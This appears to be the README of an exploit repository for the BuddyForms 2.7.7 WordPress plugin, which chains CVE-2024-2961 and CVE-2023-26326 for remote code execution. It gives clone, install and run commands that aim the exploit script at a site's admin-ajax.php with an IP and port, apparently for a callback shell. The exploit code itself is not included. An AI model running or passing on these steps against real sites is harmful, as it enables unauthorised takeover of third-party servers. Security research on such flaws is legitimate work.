Buddyforms 2.7.7 CNEXT RCE

Abusing CVE-2024-2961 and CVE-2023–26326 to RCE

Usage

git-clone https://github.com/suce0155/CVE-2024-2961_buddyforms_2.7.7
pip install -r requirements.txt
python3 buddyforms_2.7.7_cnext_exploit.py http://site/wp-admin/admin-ajax.php {ip} {port}

Analysis and Technical Details

Check out my blog post

POC